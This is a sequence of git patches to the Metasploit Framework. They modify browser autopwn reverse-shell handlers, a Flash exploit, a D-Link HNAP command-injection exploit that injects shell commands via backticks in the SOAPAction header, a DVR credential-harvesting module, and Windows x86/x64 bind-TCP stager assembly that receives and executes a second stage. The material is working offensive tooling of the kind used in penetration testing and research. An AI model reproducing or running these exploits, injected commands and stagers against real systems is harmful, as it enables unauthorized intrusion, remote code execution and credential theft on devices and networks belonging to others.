Gem::Version.new('16.0.0.287') } } ], [ 'Linux', { 'Platform' => 'unix', - 'Arch' => ARCH_CMD + 'Arch' => ARCH_CMD, + 'os_name' => OperatingSystems::Match::LINUX, + 'ua_name' => Msf::HttpClients::FF, + 'flash' => lambda { |ver| ver =~ /^11\./ && Gem::Version.new(ver) <= Gem::Version.new('11.2.202.438') } } ] ], @@ -113,12 +96,12 @@ class Metasploit3 < Msf::Exploit::Remote def exploit_template(cli, target_info) swf_random = "#{rand_text_alpha(4 + rand(3))}.swf" - if target.name =~ /Windows/ + if get_target.name =~ /Windows/ target_payload = get_payload(cli, target_info) psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true}) b64_payload = Rex::Text.encode_base64(psh_payload) platform_id = 'win' - elsif target.name =~ /Linux/ + elsif get_target.name =~ /Linux/ target_payload = get_payload(cli, target_info.merge(arch: ARCH_CMD)) b64_payload = Rex::Text.encode_base64(target_payload) platform_id = 'linux' From 7f4b51f0ffabcbe6071b06902513ee43d38fae09 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Sat, 23 May 2015 02:08:51 -0500 Subject: [PATCH 0166/1013] Fix nil bug --- lib/msf/core/exploit/remote/browser_exploit_server.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/remote/browser_exploit_server.rb b/lib/msf/core/exploit/remote/browser_exploit_server.rb index f4f173e815..074202b8e0 100644 --- a/lib/msf/core/exploit/remote/browser_exploit_server.rb +++ b/lib/msf/core/exploit/remote/browser_exploit_server.rb @@ -582,7 +582,7 @@ module Msf platform = platform.gsub(/^Windows.*$/, 'Windows') p = regenerate_payload(cli, platform, arch) - target_arch = get_target.arch + target_arch = get_target.arch || arch unless p.arch.all? { |e| target_arch.include?(e) } err = "The payload arch (#{p.arch * ", "}) is incompatible with the target (#{target_arch * "\n"}). " From f378b45408f0a0c946839a83b9ea2e7c5794a83f Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Sat, 23 May 2015 05:06:15 -0500 Subject: [PATCH 0167/1013] bug fixes, sorta --- lib/msf/core/exploit/browserautopwnv2.rb | 20 +++++++------------- 1 file changed, 7 insertions(+), 13 deletions(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index 6dacabcb28..215de88455 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -27,7 +27,7 @@ module Msf # The hash key is the name of the platform that matches what's on the module. # The loader order is specific while starting them up. DEFAULT_PAYLOADS = { - 'firefox' => { 'payload' => 'firefox/shell_reverse_tcp', 'lport' => 4442 }, + 'firefox' => { 'payload' => 'generic/shell_reverse_tcp', 'lport' => 4442 }, 'android' => { 'payload' => 'android/meterpreter/reverse_tcp', 'lport' => 4443 }, 'win' => { 'payload' => 'windows/meterpreter/reverse_tcp', 'lport' => 4444 }, 'linux' => { 'payload' => 'linux/x86/meterpreter/reverse_tcp', 'lport' => 4445 }, @@ -279,14 +279,12 @@ module Msf # @return [TrueClass] Payload is wanted. # @return [FalseClass] Payload is not wanted. def is_payload_handler_wanted?(payload_name) - p = framework.payloads.create(payload_name) - return false unless p - - payload_platforms = p.platform.platforms - bap_exploits.each do |m| - module_platforms = m.platform.platforms - return true if payload_platforms.all? { |e| module_platforms.include? e} + return true if m.datastore['PAYLOAD'] == payload_name + + m.compatible_payloads.each do |name, obj| + return true if name == payload_name + end end false @@ -342,9 +340,6 @@ module Msf return if datastore['MaxSessions'] == 0 DEFAULT_PAYLOADS.each_pair do |platform, listener_info| - # Exploit failed: firefox/shell_reverse_tcp is not a compatible payload - next if listener_info['payload'] == 'firefox/shell_reverse_tcp' - # Don't waste resources. This shaves about a second in loading speed. next unless is_payload_handler_wanted?(listener_info['payload']) @@ -475,13 +470,12 @@ module Msf order = 1 bap_exploits.each do |m| - payload_used = m.datastore['PAYLOAD'] != 'firefox/shell_reverse_tcp' && m.fullname =~ /^exploit\/multi/ ? 'Multiple payload handlers are used' : "#{m.datastore['PAYLOAD']} on #{m.datastore['LPORT']}" row = [] row << order row << parse_rank(m.rank) row << m.shortname row << m.datastore['URIPATH'] if datastore['VERBOSE'] - row << payload_used + row << "#{m.datastore['PAYLOAD']}" table << row order += 1 end From a3764647100e7fc90406542eda7034f28bae58f9 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Sat, 23 May 2015 05:26:13 -0500 Subject: [PATCH 0168/1013] It kind of blew up --- lib/msf/core/exploit/browserautopwnv2.rb | 22 ++++++++++++++-------- 1 file changed, 14 insertions(+), 8 deletions(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index 215de88455..4a01ad1194 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -27,7 +27,7 @@ module Msf # The hash key is the name of the platform that matches what's on the module. # The loader order is specific while starting them up. DEFAULT_PAYLOADS = { - 'firefox' => { 'payload' => 'generic/shell_reverse_tcp', 'lport' => 4442 }, + 'firefox' => { 'payload' => 'firefox/shell_reverse_tcp', 'lport' => 4442 }, 'android' => { 'payload' => 'android/meterpreter/reverse_tcp', 'lport' => 4443 }, 'win' => { 'payload' => 'windows/meterpreter/reverse_tcp', 'lport' => 4444 }, 'linux' => { 'payload' => 'linux/x86/meterpreter/reverse_tcp', 'lport' => 4445 }, @@ -279,12 +279,14 @@ module Msf # @return [TrueClass] Payload is wanted. # @return [FalseClass] Payload is not wanted. def is_payload_handler_wanted?(payload_name) - bap_exploits.each do |m| - return true if m.datastore['PAYLOAD'] == payload_name + p = framework.payloads.create(payload_name) + return false unless p - m.compatible_payloads.each do |name, obj| - return true if name == payload_name - end + payload_platforms = p.platform.platforms + + bap_exploits.each do |m| + module_platforms = m.platform.platforms + return true if payload_platforms.all? { |e| module_platforms.include? e} end false @@ -340,6 +342,9 @@ module Msf return if datastore['MaxSessions'] == 0 DEFAULT_PAYLOADS.each_pair do |platform, listener_info| + # Exploit failed: firefox/shell_reverse_tcp is not a compatible payload + next if listener_info['payload'] == 'firefox/shell_reverse_tcp' + # Don't waste resources. This shaves about a second in loading speed. next unless is_payload_handler_wanted?(listener_info['payload']) @@ -470,12 +475,13 @@ module Msf order = 1 bap_exploits.each do |m| + payload_used = m.datastore['PAYLOAD'] != 'firefox/shell_reverse_tcp' && m.fullname =~ /^exploit\/multi/ ? 'Multiple payload handlers are used' : "#{m.datastore['PAYLOAD']} on #{m.datastore['LPORT']}" row = [] row << order row << parse_rank(m.rank) row << m.shortname row << m.datastore['URIPATH'] if datastore['VERBOSE'] - row << "#{m.datastore['PAYLOAD']}" + row << payload_used table << row order += 1 end @@ -744,4 +750,4 @@ module Msf end end -end +end \ No newline at end of file From 10baf1ebb670f4f3c63613732cc97d5a546b07db Mon Sep 17 00:00:00 2001 From: Michael Messner Date: Sat, 23 May 2015 15:50:35 +0200 Subject: [PATCH 0169/1013] echo stager --- lib/rex/exploitation/cmdstager/echo.rb | 12 ++-- .../http/dlink_upnp_header_exec_noauth.rb | 67 +++++++------------ 2 files changed, 34 insertions(+), 45 deletions(-) diff --git a/lib/rex/exploitation/cmdstager/echo.rb b/lib/rex/exploitation/cmdstager/echo.rb index 0891a4b625..253eb48214 100644 --- a/lib/rex/exploitation/cmdstager/echo.rb +++ b/lib/rex/exploitation/cmdstager/echo.rb @@ -26,10 +26,14 @@ class CmdStagerEcho < CmdStagerBase # and initialize opts[:enc_format]. # def generate(opts = {}) - opts[:temp] = opts[:temp] || '/tmp/' - opts[:temp].gsub!(/\\/, "/") - opts[:temp] = opts[:temp].shellescape - opts[:temp] << '/' if opts[:temp][-1,1] != '/' + if opts[:temp] == false + opts[:temp] = '' + else + opts[:temp] = opts[:temp] || '/tmp/' + opts[:temp].gsub!(/\\/, "/") + opts[:temp] = opts[:temp].shellescape + opts[:temp] << '/' if opts[:temp][-1,1] != '/' + end # by default use the 'hex' encoding opts[:enc_format] = opts[:enc_format] || 'hex' diff --git a/modules/exploits/linux/http/dlink_upnp_header_exec_noauth.rb b/modules/exploits/linux/http/dlink_upnp_header_exec_noauth.rb index 7407e68ce7..28aa2c61a3 100644 --- a/modules/exploits/linux/http/dlink_upnp_header_exec_noauth.rb +++ b/modules/exploits/linux/http/dlink_upnp_header_exec_noauth.rb @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient - include Msf::Auxiliary::CommandShell + include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, @@ -25,7 +25,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Author' => [ 'Samuel Huntley', # first public documentation of this Vulnerability on DIR-645 - 'Craig Heffner', # independent Vulnerability discovery on different other routers + 'Craig Heffner', # independent Vulnerability discovery on different other routers 'Michael Messner ' # Metasploit module ], 'License' => MSF_LICENSE, @@ -37,13 +37,25 @@ class Metasploit3 < Msf::Exploit::Remote 'DisclosureDate' => 'Feb 13 2015', 'Privileged' => true, 'Platform' => 'unix', - 'Arch' => ARCH_CMD, - 'Targets' => + 'Targets' => [ - [ 'Automatic', { } ] + [ 'MIPS Little Endian', + { + 'Platform' => 'linux', + 'Arch' => ARCH_MIPSLE + } + ], + [ 'MIPS Big Endian', # unknown if there are BE devices out there ... but in case we have a target + { + 'Platform' => 'linux', + 'Arch' => ARCH_MIPS + } + ], ], - 'DefaultTarget' => 0 + 'DefaultTarget' => 0 )) + + deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR') end def check @@ -77,47 +89,20 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{peer} - Exploiting...") - telnetport = rand(32767) + 32768 + execute_cmdstager( + :flavor => :echo, + :linemax => 200, + :temp => false + ) - cmd = "telnetd -p #{telnetport}" - - execute_command(cmd) - - handle_telnet(telnetport) end - def handle_telnet(telnetport) - - begin - sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i }) - - if sock - print_good("#{peer} - Backdoor service spawned") - add_socket(sock) - else - fail_with(Failure::Unreachable, "#{peer} - Backdoor service not spawned") - end - - print_status "Starting a Telnet session #{rhost}:#{telnetport}" - merge_me = { - 'USERPASS_FILE' => nil, - 'USER_FILE' => nil, - 'PASS_FILE' => nil, - 'USERNAME' => nil, - 'PASSWORD' => nil - } - start_session(self, "TELNET (#{rhost}:#{telnetport})", merge_me, false, sock) - rescue - fail_with(Failure::Unreachable, "#{peer} - Backdoor service not handled") - end - return - end - - def execute_command(cmd) + def execute_command(cmd, opts) uri = '/HNAP1/' - soapaction = "http://purenetworks.com/HNAP1/GetDeviceSettings/`#{cmd}`" + cmd_new = "cd && cd tmp && export PATH=$PATH:. && " << cmd + soapaction = "http://purenetworks.com/HNAP1/GetDeviceSettings/`#{cmd_new}`" begin res = send_request_cgi({ From 6fb2da4f62e63e026aa2127a6c2883446a50eca3 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Sat, 23 May 2015 13:56:49 -0400 Subject: [PATCH 0170/1013] Fix #5391, cmd stager documentation fixes --- lib/msf/core/exploit/cmdstager.rb | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/lib/msf/core/exploit/cmdstager.rb b/lib/msf/core/exploit/cmdstager.rb index ae570e1cd3..692f4fda2c 100644 --- a/lib/msf/core/exploit/cmdstager.rb +++ b/lib/msf/core/exploit/cmdstager.rb @@ -127,8 +127,8 @@ module Exploit::CmdStager # Show the progress of the upload while cmd staging # - # @param total [Float] The total number of bytes to send - # @param sent [Float] The number of bytes sent + # @param total [Float] The total number of bytes to send. + # @param sent [Float] The number of bytes sent. # @return [void] def progress(total, sent) done = (sent.to_f / total.to_f) * 100 @@ -308,9 +308,10 @@ module Exploit::CmdStager def execute_cmdstager_end(opts) end - # Code to execute each command from the. This method is designed to be - # overriden by a module using this mixin. + # Code called to execute each command via an arbitrary module-defined vector. + # This method needs to be overriden by modules using this mixin. # + # @param cmd [String] The command to execute. # @param opts [Hash] Hash of configuration options. def execute_command(cmd, opts) raise NotImplementedError From 7089bd945a15e1e2c3ba6f713347d6b26e45cbbe Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Sun, 24 May 2015 12:47:20 -0500 Subject: [PATCH 0171/1013] This payload handling looks much better --- lib/msf/core/exploit/browserautopwnv2.rb | 33 ++++++++++++++++-------- 1 file changed, 22 insertions(+), 11 deletions(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index 4a01ad1194..0d194ea70a 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -26,6 +26,7 @@ module Msf # The default platform-specific payloads and preferred LPORTS. # The hash key is the name of the platform that matches what's on the module. # The loader order is specific while starting them up. + # Firefox payloads use generic handlers. DEFAULT_PAYLOADS = { 'firefox' => { 'payload' => 'firefox/shell_reverse_tcp', 'lport' => 4442 }, 'android' => { 'payload' => 'android/meterpreter/reverse_tcp', 'lport' => 4443 }, @@ -339,22 +340,31 @@ module Msf # @see #payload_job_ids # @return [void] def start_payload_listeners + # Spawn nothing if the user doesn't want to pop sessions. return if datastore['MaxSessions'] == 0 - DEFAULT_PAYLOADS.each_pair do |platform, listener_info| - # Exploit failed: firefox/shell_reverse_tcp is not a compatible payload - next if listener_info['payload'] == 'firefox/shell_reverse_tcp' + wanted_payloads = [] + bap_exploits.each do |mod| + wanted_payloads << { + :payload_name => mod.datastore['PAYLOAD'], :payload_lport => mod.datastore['LPORT'] + } + end - # Don't waste resources. This shaves about a second in loading speed. - next unless is_payload_handler_wanted?(listener_info['payload']) + # Don't repeat launching payload handlers + wanted_payloads.uniq! { |e| e[:payload_name] } + wanted_payloads.each do |wanted| multi_handler = framework.modules.create('exploit/multi/handler') + + # We have to special firefox + payload_name = wanted[:payload_name].include?('firefox/') ? wanted[:payload_name].gsub('firefox/', 'generic/') : wanted[:payload_name] + # User configurable options # We could do a massive multi_handler.datastore.merge!(self.datastore), but this seems # really expensive. Costs more loading time. multi_handler.datastore['LHOST'] = get_payload_lhost - multi_handler.datastore['PAYLOAD'] = get_selected_payload_name(platform) - multi_handler.datastore['LPORT'] = get_selected_payload_lport(platform) + multi_handler.datastore['PAYLOAD'] = payload_name + multi_handler.datastore['LPORT'] = wanted[:payload_lport] multi_handler.datastore['DebugOptions'] = datastore['DebugOptions'] if datastore['DebugOptions'] multi_handler.datastore['AutoLoadAndroid'] = datastore['AutoLoadAndroid'] if datastore['AutoLoadAndroid'] multi_handler.datastore['PrependMigrate'] = datastore['PrependMigrate'] if datastore['PrependMigrate'] @@ -371,7 +381,7 @@ module Msf multi_handler.exploit_simple( 'LocalInput' => self.user_input, 'LocalOutput' => self.user_output, - 'Payload' => listener_info['payload'], + 'Payload' => payload_name, 'RunAsJob' => true ) @payload_job_ids << multi_handler.job_id @@ -388,7 +398,8 @@ module Msf end - # Returns the selected payload. + # Returns the selected payload. This method will choose a compatible payload based on the + # default list. # # @param [Object] m A module that's been initialized. # @return [String] Payload name. Example: 'windows/meterpreter/reverse_tcp' @@ -396,6 +407,7 @@ module Msf selected_payload = DEFAULT_PAYLOADS['generic'] DEFAULT_PAYLOADS.each_pair do |p, info| preferred = info['payload'] + m.compatible_payloads.each do |k| return info if k[0] == preferred end @@ -475,13 +487,12 @@ module Msf order = 1 bap_exploits.each do |m| - payload_used = m.datastore['PAYLOAD'] != 'firefox/shell_reverse_tcp' && m.fullname =~ /^exploit\/multi/ ? 'Multiple payload handlers are used' : "#{m.datastore['PAYLOAD']} on #{m.datastore['LPORT']}" row = [] row << order row << parse_rank(m.rank) row << m.shortname row << m.datastore['URIPATH'] if datastore['VERBOSE'] - row << payload_used + row << "#{m.datastore['PAYLOAD']} on #{m.datastore['LPORT']}" table << row order += 1 end From a3ff9859c8d21b08a7622dd2719f967007a0e685 Mon Sep 17 00:00:00 2001 From: Nicholas Starke Date: Sun, 24 May 2015 15:03:06 -0500 Subject: [PATCH 0172/1013] Adding Credentials Capabilities This commit adds the ability for credentials to be retrieved via the 'creds' command. It also contains a few miscellaneous stylistic syntax changes. --- .../gather/avtech744_dvr_account_retrieval.rb | 82 ++++++++++++++++--- 1 file changed, 70 insertions(+), 12 deletions(-) diff --git a/modules/auxiliary/gather/avtech744_dvr_account_retrieval.rb b/modules/auxiliary/gather/avtech744_dvr_account_retrieval.rb index e7cdfb5ed0..f80f61047b 100644 --- a/modules/auxiliary/gather/avtech744_dvr_account_retrieval.rb +++ b/modules/auxiliary/gather/avtech744_dvr_account_retrieval.rb @@ -3,6 +3,7 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report def initialize(info = {}) super(update_info(info, @@ -34,19 +35,76 @@ require 'msf/core' } }) - if (res != nil) - res.body.each_line { |line| - split = line.split('=') - key = split[0] - value = split[1] - if (key && value) - print_good("#{key} - #{value}") + unless res + fail_with(Failure::Unreachable, "No response received from the target") + end + + unless res.code == 200 + fail_with(Failure::Unknown, "An unknown error occured") + end + + raw_collection = extract_data(res.body) + extract_creds(raw_collection) + + p = store_loot('avtech744.dvr.accounts', 'text/plain', rhost, res.body) + print_good("avtech744.dvr.accounts stored in #{p}") + end + + def extract_data(body) + raw_collection = [] + body.each_line do |line| + key, value = line.split('=') + if key && value + _, second, third = key.split('.') + if third + index = second.slice(second.length - 1).to_i + raw_collection[index] = raw_collection[index] ||= {} + case third + when "Username" + raw_collection[index][:username] = value.strip! + when "Password" + raw_collection[index][:password] = value.strip! + end + elsif second.include? "Password" + print_good("PIN Retrieved: #{key} - #{value.strip!}") end - } - p = store_loot('avtech744.dvr.accounts', 'text/plain', rhost, res.body) - print_good("avtech744.dvr.accounts stored in #{p}") - else - print_error("Unable to receive a response") + end + end + raw_collection + end + + def extract_creds(raw_collection) + raw_collection.each do |raw| + if raw + service_data = { + address: rhost, + port: rport, + service_name: 'http', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + module_fullname: self.fullname, + origin_type: :service, + private_data: raw[:password], + private_type: :password, + username: raw[:username] + } + + credential_data.merge!(service_data) + + credential_core = create_credential(credential_data) + + login_data = { + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED + } + + login_data.merge!(service_data) + + create_credential_login(login_data) + end end end end From 9042f141ff026744084f01908f82a13edaa79490 Mon Sep 17 00:00:00 2001 From: OJ Date: Mon, 25 May 2015 11:21:28 +1000 Subject: [PATCH 0173/1013] Implement the IPv6 UUID bind stagers --- lib/msf/core/payload/windows/bind_tcp.rb | 64 +++++++++----- lib/msf/core/payload/windows/reverse_tcp.rb | 2 + lib/msf/core/payload/windows/send_uuid.rb | 10 +++ lib/msf/core/payload/windows/x64/bind_tcp.rb | 88 ++++++++++++++----- .../core/payload/windows/x64/reverse_tcp.rb | 2 + lib/msf/core/payload/windows/x64/send_uuid.rb | 10 +++ .../payloads/stagers/windows/bind_ipv6_tcp.rb | 57 ++++-------- .../stagers/windows/bind_ipv6_tcp_uuid.rb | 45 ++++++++++ .../stagers/windows/x64/bind_ipv6_tcp.rb | 40 +++++++++ .../stagers/windows/x64/bind_ipv6_tcp_uuid.rb | 45 ++++++++++ 10 files changed, 278 insertions(+), 85 deletions(-) create mode 100644 modules/payloads/stagers/windows/bind_ipv6_tcp_uuid.rb create mode 100644 modules/payloads/stagers/windows/x64/bind_ipv6_tcp.rb create mode 100644 modules/payloads/stagers/windows/x64/bind_ipv6_tcp_uuid.rb diff --git a/lib/msf/core/payload/windows/bind_tcp.rb b/lib/msf/core/payload/windows/bind_tcp.rb index c6488f2174..cec61940b7 100644 --- a/lib/msf/core/payload/windows/bind_tcp.rb +++ b/lib/msf/core/payload/windows/bind_tcp.rb @@ -54,6 +54,13 @@ module Payload::Windows::BindTcp transport_config_bind_tcp(opts) end + # + # Don't use IPv6 by default, this can be overridden by other payloads + # + def use_ipv6 + false + end + # # Generate and compile the stager # @@ -84,6 +91,8 @@ module Payload::Windows::BindTcp # Reliability checks add 4 bytes for the first check, 5 per recv check (2) space += 14 + space += uuid_required_size if include_send_uuid + # The final estimated size space end @@ -97,8 +106,16 @@ module Payload::Windows::BindTcp # def asm_bind_tcp(opts={}) - reliable = opts[:reliable] - encoded_port = "0x%.8x" % [opts[:port].to_i,2].pack("vn").unpack("N").first + reliable = opts[:reliable] + addr_fam = 2 + sockaddr_size = 16 + + if use_ipv6 + addr_fam = 23 + sockaddr_size = 28 + end + + encoded_port = "0x%.8x" % [opts[:port].to_i, addr_fam].pack("vn").unpack("N").first asm = %Q^ ; Input: EBP must be the address of 'api_call'. @@ -109,42 +126,41 @@ module Payload::Windows::BindTcp push 0x00003233 ; Push the bytes 'ws2_32',0,0 onto the stack. push 0x5F327377 ; ... push esp ; Push a pointer to the "ws2_32" string on the stack. - push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" ) + push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')} call ebp ; LoadLibraryA( "ws2_32" ) mov eax, 0x0190 ; EAX = sizeof( struct WSAData ) sub esp, eax ; alloc some space for the WSAData structure push esp ; push a pointer to this stuct push eax ; push the wVersionRequested parameter - push 0x006B8029 ; hash( "ws2_32.dll", "WSAStartup" ) + push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')} call ebp ; WSAStartup( 0x0190, &WSAData ); - push 8 + push 11 pop ecx - push_8_loop: - push eax ; if we succeed, eax will be zero, push it 8 times for later ([1]-[8]) - loop push_8_loop + push_0_loop: + push eax ; if we succeed, eax will be zero, push it enough times + ; to cater for both IPv4 and IPv6 + loop push_0_loop ; push zero for the flags param [8] ; push null for reserved parameter [7] ; we do not specify a WSAPROTOCOL_INFO structure [6] ; we do not specify a protocol [5] - inc eax ; - push eax ; push SOCK_STREAM - inc eax ; - push eax ; push AF_INET - push 0xE0DF0FEA ; hash( "ws2_32.dll", "WSASocketA" ) - call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 ); + push 1 ; push SOCK_STREAM + push #{addr_fam} ; push AF_INET/6 + push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')} + call ebp ; WSASocketA( AF_INET/6, SOCK_STREAM, 0, 0, 0, 0 ); xchg edi, eax ; save the socket for later, don't care about the value of eax after this - ; bind to 0.0.0.0, pushed earlier [4] + ; bind to 0.0.0.0/[::], pushed earlier push #{encoded_port} ; family AF_INET and port number mov esi, esp ; save a pointer to sockaddr_in struct - push 16 ; length of the sockaddr_in struct (we only set the first 8 bytes as the last 8 are unused) + push #{sockaddr_size} ; length of the sockaddr_in struct (we only set the first 8 bytes, the rest aren't used) push esi ; pointer to the sockaddr_in struct push edi ; socket - push 0x6737DBC2 ; hash( "ws2_32.dll", "bind" ) + push #{Rex::Text.block_api_hash('ws2_32.dll', 'bind')} call ebp ; bind( s, &sockaddr_in, 16 ); ^ @@ -159,18 +175,18 @@ module Payload::Windows::BindTcp asm << %Q^ ; backlog, pushed earlier [3] push edi ; socket - push 0xFF38E9B7 ; hash( "ws2_32.dll", "listen" ) + push #{Rex::Text.block_api_hash('ws2_32.dll', 'listen')} call ebp ; listen( s, 0 ); ; we set length for the sockaddr struct to zero, pushed earlier [2] ; we dont set the optional sockaddr param, pushed earlier [1] push edi ; listening socket - push 0xE13BEC74 ; hash( "ws2_32.dll", "accept" ) + push #{Rex::Text.block_api_hash('ws2_32.dll', 'accept')} call ebp ; accept( s, 0, 0 ); push edi ; push the listening socket xchg edi, eax ; replace the listening socket with the new connected socket for further comms - push 0x614D6E75 ; hash( "ws2_32.dll", "closesocket" ) + push #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')} call ebp ; closesocket( s ); ^ @@ -183,7 +199,7 @@ module Payload::Windows::BindTcp push 4 ; length = sizeof( DWORD ); push esi ; the 4 byte buffer on the stack to hold the second stage length push edi ; the saved socket - push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" ) + push #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')} call ebp ; recv( s, &dwLength, 4, 0 ); ^ @@ -202,7 +218,7 @@ module Payload::Windows::BindTcp push 0x1000 ; MEM_COMMIT push esi ; push the newly recieved second stage length. push 0 ; NULL as we dont care where the allocation is. - push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" ) + push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')} call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); ; Receive the second stage and execute it... xchg ebx, eax ; ebx = our new memory address for the new stage @@ -212,7 +228,7 @@ module Payload::Windows::BindTcp push esi ; length push ebx ; the current address into our second stage's RWX buffer push edi ; the saved socket - push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" ) + push #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')} call ebp ; recv( s, buffer, length, 0 ); ^ @@ -240,7 +256,7 @@ module Payload::Windows::BindTcp else asm << %Q^ failure: - push 0x56A2B5F0 ; hardcoded to exitprocess for size + push #{Rex::Text.block_api_hash('kernel32.dll', 'ExitProcess')} call ebp ^ end diff --git a/lib/msf/core/payload/windows/reverse_tcp.rb b/lib/msf/core/payload/windows/reverse_tcp.rb index 4440166649..c8f3731104 100644 --- a/lib/msf/core/payload/windows/reverse_tcp.rb +++ b/lib/msf/core/payload/windows/reverse_tcp.rb @@ -82,6 +82,8 @@ module Payload::Windows::ReverseTcp # Reliability adds 10 bytes for recv error checks space += 10 + space += uuid_required_size if include_send_uuid + # The final estimated size space end diff --git a/lib/msf/core/payload/windows/send_uuid.rb b/lib/msf/core/payload/windows/send_uuid.rb index 556bd49335..234c24b5b2 100644 --- a/lib/msf/core/payload/windows/send_uuid.rb +++ b/lib/msf/core/payload/windows/send_uuid.rb @@ -38,6 +38,16 @@ module Payload::Windows::SendUUID asm end + def uuid_required_size + # Start with the number of bytes required for the instructions + space = 17 + + # a UUID is 16 bytes + space += 16 + + space + end + end end diff --git a/lib/msf/core/payload/windows/x64/bind_tcp.rb b/lib/msf/core/payload/windows/x64/bind_tcp.rb index f7f032dc8c..52e2cc352e 100644 --- a/lib/msf/core/payload/windows/x64/bind_tcp.rb +++ b/lib/msf/core/payload/windows/x64/bind_tcp.rb @@ -48,6 +48,10 @@ module Payload::Windows::BindTcp_x64 false end + def use_ipv6 + false + end + def transport_config(opts={}) transport_config_bind_tcp(opts) end @@ -84,6 +88,11 @@ module Payload::Windows::BindTcp_x64 # Reliability checks add 4 bytes for the first check, 5 per recv check (2) #space += 14 + # 2 more bytes are added for IPv6 + space += 2 if use_ipv6 + + space += uuid_required_size if include_send_uuid + # The final estimated size space end @@ -96,8 +105,18 @@ module Payload::Windows::BindTcp_x64 # @option opts [Bool] :reliable Whether or not to enable error handling code # def asm_bind_tcp(opts={}) - reliable = opts[:reliable] - encoded_port = "0x%.16x" % [opts[:port].to_i,2].pack("vn").unpack("N").first + reliable = opts[:reliable] + addr_fam = 2 + sockaddr_size = 16 + stack_alloc = 408+8+8*6+32*7 + + if use_ipv6 + addr_fam = 23 + sockaddr_size = 28 + stack_alloc += 8*2 # two more rax pushes + end + + encoded_port = "0x%.16x" % [opts[:port].to_i, addr_fam].pack("vn").unpack("N").first asm = %Q^ bind_tcp: @@ -108,57 +127,80 @@ module Payload::Windows::BindTcp_x64 sub rsp, 408+8 ; alloc sizeof( struct WSAData ) bytes for the WSAData ; structure (+8 for alignment) mov r13, rsp ; save pointer to the WSAData structure for WSAStartup call. - mov r12, #{encoded_port} - push r12 ; bind to 0.0.0.0 family AF_INET and port 4444 + xor rax, rax + ^ + + if use_ipv6 + asm << %Q^ + ; IPv6 requires another 12 zero-bytes for the socket structure, + ; so push 16 more onto the stack + push rax + push rax + ^ + end + + asm << %Q^ + push rax ; stack alignment + push rax ; tail-end of the sockaddr_in/6 struct + mov r12, #{encoded_port} + push r12 ; bind to 0.0.0.0/[::] family AF_INET/6 and specified port mov r12, rsp ; save pointer to sockaddr_in struct for bind call + ; perform the call to LoadLibraryA... mov rcx, r14 ; set the param for the library to load - mov r10d, 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" ) + mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')} call rbp ; LoadLibraryA( "ws2_32" ) + ; perform the call to WSAStartup... mov rdx, r13 ; second param is a pointer to this stuct push 0x0101 ; pop rcx ; set the param for the version requested - mov r10d, 0x006B8029 ; hash( "ws2_32.dll", "WSAStartup" ) + mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')} call rbp ; WSAStartup( 0x0101, &WSAData ); + ; perform the call to WSASocketA... + push #{addr_fam} ; push AF_INET/6 + pop rcx ; pop family into rcx push rax ; if we succeed, rax wil be zero, push zero for the flags param. push rax ; push null for reserved parameter xor r9, r9 ; we do not specify a WSAPROTOCOL_INFO structure xor r8, r8 ; we do not specify a protocol inc rax ; mov rdx, rax ; push SOCK_STREAM - inc rax ; - mov rcx, rax ; push AF_INET - mov r10d, 0xE0DF0FEA ; hash( "ws2_32.dll", "WSASocketA" ) - call rbp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 ); + mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')} + call rbp ; WSASocketA( AF_INET/6, SOCK_STREAM, 0, 0, 0, 0 ); mov rdi, rax ; save the socket for later + ; perform the call to bind... - push 16 ; + push #{sockaddr_size} pop r8 ; length of the sockaddr_in struct (we only set the - ; first 8 bytes as the last 8 are unused) + ; first 8 bytes as the rest aren't used) mov rdx, r12 